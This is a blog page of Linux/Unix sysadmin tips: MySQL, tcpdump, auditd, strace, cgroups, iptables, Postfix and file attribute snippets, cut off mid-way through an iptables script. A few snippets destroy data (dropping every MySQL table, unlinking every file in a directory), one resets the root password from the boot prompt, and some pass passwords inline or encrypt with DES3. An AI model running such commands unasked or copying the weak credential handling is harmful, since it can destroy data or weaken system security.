<li><a href="#revert-firefox-to-init-state" id="markdown-toc-revert-firefox-to-init-state">Revert Firefox to init state</a></li>
<li><a href="#limit-mysql-and-mongodb-mem-usage-with-cgroups" id="markdown-toc-limit-mysql-and-mongodb-mem-usage-with-cgroups">Limit MySQL and MongoDB mem usage with Cgroups</a></li>
<li><a href="#strace-using" id="markdown-toc-strace-using">Strace using</a></li>
<li><a href="#linux-system-errors-types" id="markdown-toc-linux-system-errors-types">Linux System Errors Types</a></li>
<li><a href="#auditd" id="markdown-toc-auditd">Auditd</a></li>
<li><a href="#mysql-version-from-an-frm-file" id="markdown-toc-mysql-version-from-an-frm-file">MySQL version from an FRM file</a></li>
<li><a href="#check-if-a-library-is-installed" id="markdown-toc-check-if-a-library-is-installed">Check if a library is installed</a></li>
<li><a href="#fs-in-file" id="markdown-toc-fs-in-file">FS in File</a></li>
<li><a href="#encrypt-tar-with-opensslgpg" id="markdown-toc-encrypt-tar-with-opensslgpg">Encrypt Tar with OpenSSL\GPG</a></li>
<li><a href="#split-big-archive" id="markdown-toc-split-big-archive">Split big archive</a></li>
<li><a href="#installed-pkgs-size" id="markdown-toc-installed-pkgs-size">Installed pkgs size</a></li>
<li><a href="#compare-2-directory" id="markdown-toc-compare-2-directory">Compare 2 directory</a></li>
<li><a href="#wget-all-site" id="markdown-toc-wget-all-site">WGet ALL site</a></li>
<li><a href="#mount-with-ssh" id="markdown-toc-mount-with-ssh">Mount with SSH</a></li>
<li><a href="#boot-in-dos" id="markdown-toc-boot-in-dos">Boot in DOS</a></li>
<li><a href="#remove-all-tables-from-mysql-db" id="markdown-toc-remove-all-tables-from-mysql-db">Remove all tables from MySQL DB</a></li>
<li><a href="#resize-jpg-for-web" id="markdown-toc-resize-jpg-for-web">Resize jpg for web</a></li>
<li><a href="#postfix-redirect-outbound-mail" id="markdown-toc-postfix-redirect-outbound-mail">Postfix redirect outbound mail</a></li>
<li><a href="#rm-argument-list-too-long" id="markdown-toc-rm-argument-list-too-long">RM: Argument list too long</a></li>
<li><a href="#rootkits-check" id="markdown-toc-rootkits-check">Rootkits check</a></li>
<li><a href="#restore-deleted-files" id="markdown-toc-restore-deleted-files">Restore deleted files</a></li>
<li><a href="#flush-linux-disk-cache" id="markdown-toc-flush-linux-disk-cache">Flush linux disk cache</a></li>
<li><a href="#firewall-cmd-open-http-port-80" id="markdown-toc-firewall-cmd-open-http-port-80">Firewall-cmd open http port 80</a></li>
<li><a href="#auditd-1" id="markdown-toc-auditd-1">Auditd</a></li>
<li><a href="#create-dark-directory" id="markdown-toc-create-dark-directory">Create dark directory</a></li>
<li><a href="#file-attributes-linux-unix" id="markdown-toc-file-attributes-linux-unix">File attributes Linux-Unix</a></li>
<li><a href="#iptables-to-limit-connections" id="markdown-toc-iptables-to-limit-connections">Iptables to limit connections</a></li>
<li><a href="#reboot-linux-with-kernel-panic" id="markdown-toc-reboot-linux-with-kernel-panic">Reboot linux with kernel panic</a></li>
</ul>
</li>
</ul>
</div>
</section>
<!-- /#table-of-contents -->
<h3 id="other-parts">Other parts</h3>
<p><a href="https://jivoi.github.io/2014/06/22/linux-unix-it-tips-and-tricks-number-1/">Part 1</a>
<a href="https://jivoi.github.io/2015/06/29/linux-unix-it-tips-and-tricks-number-2/">Part 2</a>
<a href="https://jivoi.github.io/2015/07/01/linux-unix-it-tips-and-tricks-number-3/">Part 3</a></p>
<h3 id="speed-up-mysql-import">Speed up MySQL Import</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">mysql -u someuser -p SET <span class="nv">AUTOCOMMIT</span><span class="o">=</span>0<span class="p">;</span> SET <span class="nv">UNIQUE_CHECKS</span><span class="o">=</span>0<span class="p">;</span> SET <span class="nv">FOREIGN_KEY_CHECKS</span><span class="o">=</span>0<span class="p">;</span> <span class="se">\</span>
<span class="nb">source </span>dump.sql<span class="p">;</span>SET <span class="nv">FOREIGN_KEY_CHECKS</span><span class="o">=</span>1<span class="p">;</span> <span class="nv">UNIQUE_CHECKS</span><span class="o">=</span>1<span class="p">;</span> COMMIT<span class="p">;</span></code></pre></div>
<h3 id="coreutils-list">Coreutils List</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">curl <span class="s1">'http://www.gnu.org/software/coreutils/manual/coreutils.html'</span> 2>/dev/null <span class="p">|</span>grep <span class="s1">'h3 class'</span> <span class="p">|</span> grep <span class="s1">'class="command"'</span> <span class="p">|</span> sed <span class="s1">'s/.*class="command">//'</span> <span class="p">|</span> sed <span class="s1">'s|</span></samp>||'</span> <span class="p">|</span> sed <span class="s1">'s|</h3>||'</span> <span class="p">|</span> grep <span class="s1">':'</span> <span class="p">|</span> sort</code></pre></div>
<h3 id="list-all-process-swap-space-usage">List all process swap space usage</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="k">for</span> file in /proc/*/status <span class="p">;</span> <span class="k">do</span> awk <span class="s1">'/VmSwap|Name/{printf $2 " " $3}END{ print ""}'</span> <span class="nv">$file</span><span class="p">;</span> <span class="k">done</span></code></pre></div>
<h3 id="delete-millions-files-from-dir">Delete millions files from dir</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># rm is fucked, this is ok =)</span>
perl -e <span class="s1">'chdir "/tmp/1" or die; opendir D, "."; while ($n = readdir D) { unlink $n }'</span></code></pre></div>
<h3 id="nice-diff">Nice Diff</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">diff --side-by-side fileA.txt fileB.txt <span class="p">|</span> pager</code></pre></div>
<h3 id="run-jobs-with-parallel">Run jobs with parallel</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># apt-get install parallel</span>
ls *.png <span class="p">|</span> parallel -j4 convert <span class="o">{}</span> <span class="o">{</span>.<span class="o">}</span>.jpg</code></pre></div>
<h3 id="awk-ps-sum">Awk PS SUM</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">ps alx <span class="p">|</span> tail -n +2 <span class="p">|</span> awk <span class="s1">'BEGIN{rss=0; vsz=0} {rss += $7; vsz+=$8} END{print rss, vsz;}'</span></code></pre></div>
<h3 id="show-ext4-fragmentation-">Show ext4 fragmentation %</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># be carefull!!</span>
<span class="k">for</span> D in <span class="k">$(</span> mount <span class="p">|</span> awk <span class="s1">'$5~/ext4/ { print $1 }'</span> <span class="k">)</span><span class="p">;</span> <span class="k">do</span> sudo fsck.ext4 -nvf <span class="k">${</span><span class="nv">D</span><span class="k">}</span><span class="p">;</span> <span class="k">done</span>
non-contiguous is a % of fragmentation
e4defrag /
e4defrag -c /
<span class="c"># fragmentation for file</span>
filefrag -v /PATH/TO/FILE</code></pre></div>
<h3 id="statistic-of-system-resource">Statistic of system resource</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># apt-get install dstat</span>
dstat -c --top-cpu -d --top-bio --top-latency</code></pre></div>
<h3 id="tcpdump-with-ssh-stream">Tcpdump with SSH stream</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># stream through SSH the tcpdump output and analyze it locally with Wireshark</span>
mkfifo /tmp/wshark
ssh root@ip <span class="s2">"tcpdump -s 0 -U -n -w - -i eth0 not port 22"</span> > /tmp/wshark
wireshark -k -i /tmp/wshark</code></pre></div>
<h3 id="linux-namespaces">Linux Namespaces</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">Starting from kernel 2.6.24, Linux supports <span class="m">6</span> different types of namespaces. Namespaces are useful in creating processes that are more isolated from the rest of the system, without needing to use full low level virtualization technology.
CLONE_NEWIPC: IPC Namespaces: SystemV IPC and POSIX Message Queues can be isolated.
CLONE_NEWPID: PID Namespaces: PIDs are isolated, meaning that a virtual PID inside of the namespace can conflict with a PID outside of the namespace. PIDs inside the namespace will be mapped to other PIDs outside of the namespace. The first PID inside the namespace will be ‘1’ which outside of the namespace is assigned to init
CLONE_NEWNET: Network Namespaces: Networking <span class="o">(</span>/proc/net, IPs, interfaces and routes<span class="o">)</span> are isolated. Services can be run on the same ports within namespaces, and “duplicate” virtual interfaces can be created.
CLONE_NEWNS: Mount Namespaces. We have the ability to isolate mount points as they appear to processes. Using mount namespaces, we can achieve similar functionality to chroot<span class="o">()</span> however with improved security.
CLONE_NEWUTS: UTS Namespaces. This namespaces primary purpose is to isolate the hostname and NIS name.
CLONE_NEWUSER: User Namespaces. Here, user and group IDs are different inside and outside of namespaces and can be duplicated.</code></pre></div>
<h3 id="show-daemon-list-need-to-restart-after-update">Show daemon list need to restart after update</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">sudo lsof / <span class="p">|</span> grep DEL <span class="p">|</span> cut -f1 -d<span class="s1">' '</span> <span class="p">|</span> sort -u</code></pre></div>
<h3 id="increases-tcpdump-buffer">Increases TCPdump buffer</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">tcpdump -l -B <span class="m">10000</span> host example.com</code></pre></div>
<h3 id="get-firefox-bookmarks">Get Firefox bookmarks</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">sqlite3 ~/.mozilla/firefox/*.<span class="o">[</span>dD<span class="o">]</span>efault/places.sqlite <span class="s2">"SELECT strftime('%d.%m.%Y %H:%M:%S', dateAdded/1000000, 'unixepoch', 'localtime'),url FROM moz_places, moz_bookmarks WHERE moz_places.id = moz_bookmarks.fk ORDER BY dateAdded;"</span></code></pre></div>
<h2 id="ssl-certs-info">SSL certs info</h2>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># show expire date of cert</span>
openssl x509 -enddate -noout -in certnew.cer
<span class="c"># show all info of cert</span>
openssl x509 -text -noout -in certnew.cer
<span class="c"># check that secret key (privkey.pem) is valid</span>
openssl rsa -noout -text -in privkey.pem</code></pre></div>
<h2 id="reset-root-password-on-rhel7centos7">Reset root password on RHEL7\CentOS7</h2>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">grub linux16 to the end of the line add <span class="s2">"rd.break console=tty1"</span>
ctrl+x
switch_root:/# mount -o remount,rw /sysroot
switch_root:/# chroot /sysroot
sh-4.2# passwd root
sh-4.2# touch /.autorelabel
<span class="nb">exit</span></code></pre></div>
<h3 id="blacklisting-firewire-in-linux">Blacklisting firewire in Linux</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">find /lib/modules/<span class="sb">`</span>uname -r<span class="sb">`</span> -name *firewire*
modinfo snd-firewire-lib
modinfo firewire-core
<span class="nb">echo</span> <span class="s2">"blacklist firewire-core"</span> > /etc/modprobe.d/blacklist-firewire.conf
modprobe --showconfig <span class="p">|</span> grep blacklist <span class="c">#show blacklist modules</span>
modprobe --showconfig <span class="p">|</span> grep <span class="s2">"^install"</span> <span class="p">|</span> grep <span class="s2">"/bin"</span></code></pre></div>
<h3 id="install-ubuntu-openstack">Install Ubuntu OpenStack</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">sudo apt-add-repository -y ppa:cloud-installer/stable
sudo apt-get update
sudo apt-get install -y openstack
sudo openstack-install</code></pre></div>
<h3 id="vagrant-winxp">Vagrant WinXP</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># https://www.bram.us/2014/09/24/modern-ie-vagrant-boxes/</span>
<span class="c"># http://aka.ms/vagrant-xp-ie6</span>
vagrant box add winxpie6 http://aka.ms/vagrant-xp-ie6
vagrant init winxpie6
vagrant up</code></pre></div>
<h3 id="simple-cut-video-in-linux">Simple Cut Video in linux</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># cut video from 00:02:52 to 00:03:45</span>
ffmpeg -i original.mp4 -ss 00:02:52 -t 00:03:45 -async <span class="m">1</span> -strict -2 cut.mp4</code></pre></div>
<h3 id="how-to-clean-tmp-dir-on-boot">How to clean TMP dir on boot</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">/etc/default/rcS
<span class="c">#TMPTIME=0</span></code></pre></div>
<h3 id="the-port-scan-attack-detector---psad">The port scan attack detector - PSAD</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># http://cipherdyne.org/psad/</span>
apt-get install psad
/etc/syslog.conf
kern.info <span class="p">|</span>/var/lib/psad/psadfifo
/etc/init.d/sysklogd restart
/etc/init.d/klogd
/etc/psad/psad.conf
/etc/init.d/psad restart
iptables -A INPUT -j LOG
iptables -A FORWARD -j LOG
view port scan report
psad -S</code></pre></div>
<h3 id="snmptrap-using">SNMPTrap using</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">/etc/default/snmpd
<span class="nv">TRAPDRUN</span><span class="o">=</span>yes
/etc/snmp/snmptrapd.conf
authCommunity log public
snmptrap -v <span class="m">1</span> -c public 127.0.0.1 .1.3.6.1 localhost <span class="m">6</span> <span class="m">17</span> <span class="s1">''</span> .1.3.6.1 s <span class="s2">"Just a test"</span>
/var/log/syslog
Jun <span class="m">23</span> 12:14:47 linux snmptrapd<span class="o">[</span>14221<span class="o">]</span>: 2015-06-23 12:14:47 linux <span class="o">[</span>127.0.0.1<span class="o">]</span> <span class="o">(</span>via UDP: <span class="o">[</span>127.0.0.1<span class="o">]</span>:58914-><span class="o">[</span>127.0.0.1<span class="o">])</span> TRAP, SNMP v1, community public#012#011iso.3.6.1 Enterprise Specific Trap <span class="o">(</span>17<span class="o">)</span> Uptime: <span class="m">1</span> day, 1:45:51.14#012#011iso.3.6.1 <span class="o">=</span> STRING: <span class="s2">"Just a test"</span>
<span class="c"># tcpdump snmptraps</span>
tcpdump -i eth1 -w test.log <span class="s2">"udp and (src port 161 or 162)"</span>
tcpdump -w troubleshoot.pcap -vv -A -T snmp <span class="err">"</span><span class="o">(</span>dst port 162<span class="o">)</span> or <span class="o">(</span>src port 161<span class="o">)</span> or <span class="o">(</span>dst port 161<span class="o">)</span></code></pre></div>
<h3 id="remove-postfix-resiver-header">Remove Postfix Resiver Header</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># add to /etc/postfix/header_checks</span>
/^Received:.*with ESMTP/ IGNORE
<span class="c"># add to /etc/postfix/main.cf</span>
<span class="nv">mime_header_checks</span> <span class="o">=</span> regexp:/etc/postfix/header_checks <span class="nv">header_checks</span> <span class="o">=</span> regexp:/etc/postfix/header_checks
postmap /etc/postfix/header_checks
postfix reload</code></pre></div>
<h3 id="ssh-key-login-only-for-one-user">SSH key login only for one user</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># add to /etc/ssh/sshd_config</span>
Match user stew
PasswordAuthentication no
or
Match group dumbusers
PasswordAuthentication no</code></pre></div>
<h3 id="revert-firefox-to-init-state">Revert Firefox to init state</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">open about:support and press <Refresh Firefox></code></pre></div>
<h3 id="limit-mysql-and-mongodb-mem-usage-with-cgroups">Limit MySQL and MongoDB mem usage with Cgroups</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">cgcreate -g memory:DBLimitedGroup
<span class="nb">echo </span>16G > /sys/fs/cgroup/memory/DBLimitedGroup/memory.limit_in_bytes
sync<span class="p">;</span> <span class="nb">echo </span><span class="m">3</span> > /proc/sys/vm/drop_caches
cgclassify -g memory:DBLimitedGroup <span class="sb">`</span>pidof mongod<span class="sb">`</span>
cgclassify -g memory:DBLimitedGroup <span class="sb">`</span>pidof mysqld_safe<span class="sb">`</span></code></pre></div>
<h3 id="strace-using">Strace using</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># file activity common syscalls:</span>
access <span class="o">()</span>
close <span class="o">(</span>close file handle<span class="o">)</span>
fchmod <span class="o">(</span>change file permissions<span class="o">)</span>
fchown <span class="o">(</span>change file ownership<span class="o">)</span>
fstat <span class="o">(</span>retrieve details<span class="o">)</span>
lseek <span class="o">(</span>move through file<span class="o">)</span>
open <span class="o">(</span>open file <span class="k">for</span> reading/writing<span class="o">)</span>
<span class="nb">read</span> <span class="o">(</span><span class="nb">read </span>a piece of data<span class="o">)</span>
statfs <span class="o">(</span>retrieve file system related details<span class="o">)</span>
<span class="nv">$ </span>strace php 2><span class="p">&</span><span class="m">1</span> <span class="p">|</span> grep php.ini
<span class="nv">$ </span>strace -e open php 2><span class="p">&</span><span class="m">1</span> <span class="p">|</span> grep php.ini
<span class="nv">$ </span>strace -e open,access 2><span class="p">&</span><span class="m">1</span> <span class="p">|</span> grep your-filename
<span class="nv">$ </span>strace -p PID
<span class="c"># strace -c -p PID</span>
<span class="c"># the network common syscalls:</span>
<span class="nb">bind</span> – link the process to a network port
listen – allow to receive incoming connections
socket – open a <span class="nb">local </span>or network socket
setsockopt – define options <span class="k">for</span> an active socket
<span class="nv">$ </span>strace -e poll,select,connect,recvfrom,sendto nc www.news.com 80
<span class="nv">$ </span>strace -e <span class="nv">trace</span><span class="o">=</span>network
<span class="c"># memory common syscalls:</span>
mmap
munmap
<span class="nv">$ </span>strace -e <span class="nv">trace</span><span class="o">=</span>memory
<span class="c"># useful options and examples:</span>
-c – See what <span class="nb">time </span>is spend and where <span class="o">(</span>combine with -S <span class="k">for</span> sorting<span class="o">)</span>
-f – Track process including forked child processes
-o my-process-trace.txt – Log strace output to a file
-p <span class="m">1234</span> – Track a process by PID
-P /tmp – Track a process when interacting with a path
-T – Display syscall duration in the output
<span class="c"># track by specific syscall group:</span>
-e <span class="nv">trace</span><span class="o">=</span>ipc – Track communication between processes <span class="o">(</span>IPC<span class="o">)</span>
-e <span class="nv">trace</span><span class="o">=</span>memory – Track memory syscalls
-e <span class="nv">trace</span><span class="o">=</span>network – Track memory syscalls
-e <span class="nv">trace</span><span class="o">=</span>process – Track process calls <span class="o">(</span>like fork, <span class="nb">exec</span><span class="o">)</span>
-e <span class="nv">trace</span><span class="o">=</span>signal – Track process signal handling <span class="o">(</span>like HUP, <span class="nb">exit</span><span class="o">)</span>
-e <span class="nv">trace</span><span class="o">=</span>file – Track file related syscalls
<span class="c"># trace multiple syscalls:</span>
strace -e open,close</code></pre></div>
<h3 id="linux-system-errors-types">Linux System Errors Types</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">cat /usr/include/asm-generic/errno.h <span class="p">|</span>grep <span class="s2">"#"</span></code></pre></div>
<h3 id="auditd">Auditd</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># create rule: open</span>
auditctl -a always,exit -F <span class="nv">arch</span><span class="o">=</span>b64 -F <span class="nv">pid</span><span class="o">=</span><span class="m">8175</span> -S open -k cups-open-files
ausearch -k cups-open-files
<span class="c"># check which process is modifying a certain directory or file</span>
auditctl -w /path/to/directory -p war
ausearch -f /path/to/directory</code></pre></div>
<h3 id="mysql-version-from-an-frm-file">MySQL version from an FRM file</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># MySQL version 5.5.32</span>
<span class="nv">$ </span>hexdump -s 0x33 -n <span class="m">2</span> -v -d 55_test.frm
<span class="m">0000033</span> 50532
<span class="c"># MySQL version 5.1.73</span>
<span class="nv">$ </span>hexdump -s 0x33 -n <span class="m">2</span> -v -d 51_test.frm
<span class="m">0000033</span> 50173</code></pre></div>
<h3 id="check-if-a-library-is-installed">Check if a library is installed</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>ldconfig -p <span class="p">|</span> grep libjpeg</code></pre></div>
<h3 id="fs-in-file">FS in File</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>dd <span class="k">if</span><span class="o">=</span>/dev/zero <span class="nv">of</span><span class="o">=</span>/tmp/disk-image <span class="nv">count</span><span class="o">=</span>20480
<span class="nv">$ </span>mkfs -t ext4 -q /tmp/disk-image
<span class="nv">$ </span>mkdir /virtual-fs
<span class="nv">$ </span>mount -o <span class="nv">loop</span><span class="o">=</span>/dev/loop0 /tmp/disk-image /virtual-fs
<span class="c"># add to /etc/fstab</span>
/tmp/disk-image /virtual-fs ext4 rw,loop <span class="m">0</span> 0</code></pre></div>
<h3 id="encrypt-tar-with-opensslgpg">Encrypt Tar with OpenSSL\GPG</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># encrypt</span>
<span class="nv">$ </span>gpg -c test.tar
<span class="nv">$ </span>tar -czv stuff<span class="p">|</span>openssl des3 -salt -k secretpassword <span class="p">|</span> dd <span class="nv">of</span><span class="o">=</span>stuff.des3
<span class="c"># decrypt</span>
<span class="nv">$ </span>gpg test.tar.gpg
<span class="nv">$ </span>dd <span class="k">if</span><span class="o">=</span>stuff.des3 <span class="p">|</span>openssl des3 -d -k secretpassword<span class="p">|</span>tar xz</code></pre></div>
<h3 id="split-big-archive">Split big archive</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">split -b 700m archive.tar part
cat part* > archive.tar</code></pre></div>
<h3 id="installed-pkgs-size">Installed pkgs size</h3>
<p># freebsd</p>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">pkg_info -as <span class="p">|</span> perl -pe <span class="s1">'$/=")"; s/\n*Information for (.*?):[\n\s]*Package Size:[\n\s]*(\d+)\s*\(\s*1K\-blocks\s*\)/$2 - $1\n/;'</span> <span class="p">|</span> sort -nr <span class="p">|</span> less
<span class="c"># ubuntu</span>
dpkg-query -W --showformat<span class="o">=</span><span class="s1">'${Installed-Size} ${Package}\n'</span> <span class="p">|</span> sort -n</code></pre></div>
<h3 id="compare-2-directory">Compare 2 directory</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">diff -qr dir1 dir2</code></pre></div>
<h3 id="wget-all-site">WGet ALL site</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">wget -m -k -nv -np -p --user-agent<span class="o">=</span><span class="s2">"Mozilla/5.0 (compatible; Konqueror/3.0.0/10; Linux)"</span> http://www.rhd.ru/docs/manuals/enterprise/RHEL-5-Manual/Virtual-Server-Administration/</code></pre></div>
<h3 id="mount-with-ssh">Mount with SSH</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">apt-get install sshfs
mkdir ~/music
sshfs <remote_ip>:/music ~/music/
fusermount -u ~/music/</code></pre></div>
<h3 id="boot-in-dos">Boot in DOS</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">apt-get install syslinux
cp /usr/share/syslinux/memdisk /boot
wget -O /boot/Dos6.22.img http://www.allbootdisks.com/downloads/Disks/MS-DOS_Boot_Disk_Download47/Diskette%20Images/Dos6.22.img
<span class="c"># add to /boot/grub/menu.lst</span>
title MSDOS
root<span class="o">(</span>hd0,0<span class="o">)</span> <span class="c"># Номер диска изменить на нужный</span>
kernel /memdisk
initrd /Dos6.22.img</code></pre></div>
<h3 id="remove-all-tables-from-mysql-db">Remove all tables from MySQL DB</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">mysql -u root -ppassword -Ddb-name -e <span class="s1">'show tables;'</span> <span class="p">|</span> grep -v <span class="s1">'Tables_in'</span> > /tmp/tables_list
<span class="k">for</span> table in <span class="sb">`</span>cat /tmp/tables_list<span class="sb">`</span><span class="p">;</span> <span class="k">do</span> mysql -u root -ppassword -Ddb-name -e <span class="s2">"drop table $table;"</span> <span class="p">;</span> <span class="k">done</span></code></pre></div>
<h3 id="resize-jpg-for-web">Resize jpg for web</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="k">for</span> i in *.jpg<span class="p">;</span> <span class="k">do</span> convert -resize 640x480 -quality <span class="m">85</span> <span class="nv">$i</span> small-<span class="nv">$i</span>.jpg<span class="p">;</span> <span class="k">done</span></code></pre></div>
<h3 id="postfix-redirect-outbound-mail">Postfix redirect outbound mail</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># all outbound mail redirect to local <username></span>
<span class="nv">$ </span>postconf -e <span class="nv">luser_relay</span><span class="o">=</span>username
<span class="nv">$ </span>postmap /etc/postfix/transport
<span class="nv">$ </span>postconf -e <span class="nv">transport_maps</span><span class="o">=</span><span class="nb">hash</span>:/etc/postfix/transport
<span class="c"># add to /etc/postfix/transport</span>
localhost :
* <span class="nb">local</span>:username</code></pre></div>
<h3 id="rm-argument-list-too-long">RM: Argument list too long</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">find <span class="p">|</span> xargs --no-run-if-empty -n <span class="m">500</span> rm -f</code></pre></div>
<h3 id="rootkits-check">Rootkits check</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">apt-get install rkhunter
rkhunter –-update
rkhunter –-check</code></pre></div>
<h3 id="restore-deleted-files">Restore deleted files</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">lsof <span class="p">|</span> grep storage.db
memcached <span class="m">22073</span> memcachedb 15u REG 8,1 <span class="m">88090279936</span> <span class="m">14221332</span> /path/memcachedb/storage.db <span class="o">(</span>deleted<span class="o">)</span>
/proc/22073/fd
find /path/memcachedb/ -inum <span class="m">14221332</span> -exec cp <span class="o">{}</span> /var/tmp/storage.db <span class="se">\;</span></code></pre></div>
<h3 id="flush-linux-disk-cache">Flush linux disk cache</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash">sudo sh -c <span class="s1">'sync; echo 3 > /proc/sys/vm/drop_caches'</span>
free <span class="o">&&</span> sync <span class="o">&&</span> <span class="nb">echo </span><span class="m">3</span> > /proc/sys/vm/drop_caches <span class="o">&&</span> free</code></pre></div>
<h3 id="firewall-cmd-open-http-port-80">Firewall-cmd open http port 80</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># open</span>
<span class="nv">$ </span>firewall-cmd --zone<span class="o">=</span>public --add-port<span class="o">=</span>80/tcp --permanent
<span class="nv">$ </span>firewall-cmd --reload
<span class="nv">$ </span>iptables-save <span class="p">|</span> grep 80
<span class="c"># to block</span>
<span class="nv">$ </span>firewall-cmd --zone<span class="o">=</span>public --remove-port<span class="o">=</span>80/tcp --permanent
<span class="nv">$ </span>firewall-cmd --reload</code></pre></div>
<h3 id="auditd-1">Auditd</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># install</span>
<span class="nv">$ $ </span>sudo yum list audit audit-libs
<span class="c"># /etc/audit/auditd.conf</span>
<span class="nv">max_log_file</span> <span class="o">=</span> 30
<span class="nv">max_log_file_action</span> <span class="o">=</span> ROTATE
sudo service auditd restart
<span class="c"># Generating Audit Reports</span>
<span class="nv">$ </span>sudo aureport -x --summary
<span class="nv">$ </span>sudo aureport --failed
<span class="nv">$ </span>sudo aureport -f -i
<span class="c"># view the current set of audit rules</span>
<span class="nv">$ </span>sudo auditctl -l
<span class="c"># current status of the audit system</span>
<span class="nv">$ </span>sudo auditctl -s
<span class="c"># add rule fo file</span>
<span class="nv">$ </span>auditctl -w path_to_file -p permissions -k key_name
<span class="nv">$ </span>sudo auditctl -w /etc/hosts -p wa -k hosts_file_change
<span class="c"># /etc/audit/rules.d/audit.rules</span>
-w /etc/hosts -p wa -k hosts_file_change
<span class="nv">$ </span>sudo auditctl -l
<span class="c"># add rule for dir</span>
<span class="nv">$ </span>sudo auditctl -w /etc/sysconfig/ -p rwa -k configaccess
<span class="nv">$ </span>sudo ausearch -k configaccess
<span class="c"># system call rules</span>
<span class="nv">$ </span>auditctl -a action,filter -S system_call -F <span class="nv">field</span><span class="o">=</span>value -k key_name
<span class="nv">$ </span>sudo auditctl -a always,exit -F <span class="nv">arch</span><span class="o">=</span>b64 -F <span class="s2">"auid>=1000"</span> -S rename -S renameat -k rename
<span class="nv">$ </span>sudo auditctl -a always,exit -F <span class="nv">arch</span><span class="o">=</span>b64 -F <span class="nv">auid</span><span class="o">=</span><span class="m">1001</span> -S open -k userfileaccess
<span class="c"># removing audit rules</span>
<span class="nv">$ </span>sudo auditctl -W /etc/passwd -p wa -k passwdaccess</code></pre></div>
<h3 id="create-dark-directory">Create dark directory</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># read file only if you know it name</span>
mkdir darkroom
chmod a-r+x darkroom</code></pre></div>
<h3 id="file-attributes-linux-unix">File attributes Linux-Unix</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># linux</span>
chattr +i vip_file
lsattr vip_file
chattr +a vip_file
<span class="c"># freebsd</span>
chflags schg vip_file
chflags noschg vip_file
ls -lo vip_file
<span class="c"># freebsd flags</span>
acrh
opaque
nodump
sappnd
schg
sunlnk
uappnd
uchg
uunlnk</code></pre></div>
<h3 id="iptables-to-limit-connections">Iptables to limit connections</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">IPT</span><span class="o">=</span>/sbin/iptables
<span class="c"># Interface id</span>
<span class="nv">INET_IF</span><span class="o">=</span>eth0
<span class="c"># Http Port</span>
<span class="nv">HTTP_PORT</span><span class="o">=</span>80
<span class="c"># Max connection in seconds</span>
<span class="nv">SECONDS</span><span class="o">=</span>100
<span class="c"># Max connections per IP</span>
<span class="nv">BLOCKCOUNT</span><span class="o">=</span>10
<span class="c"># Default action can be DROP or REJECT</span>
<span class="nv">DACTION</span><span class="o">=</span><span class="s2">"DROP"</span>
<span class="nv">$IPT</span> -I INPUT -p tcp --dport <span class="k">${</span><span class="nv">HTTP_PORT</span><span class="k">}</span> -i <span class="k">${</span><span class="nv">INET_IF</span><span class="k">}</span> -m state --state NEW -m recent --set
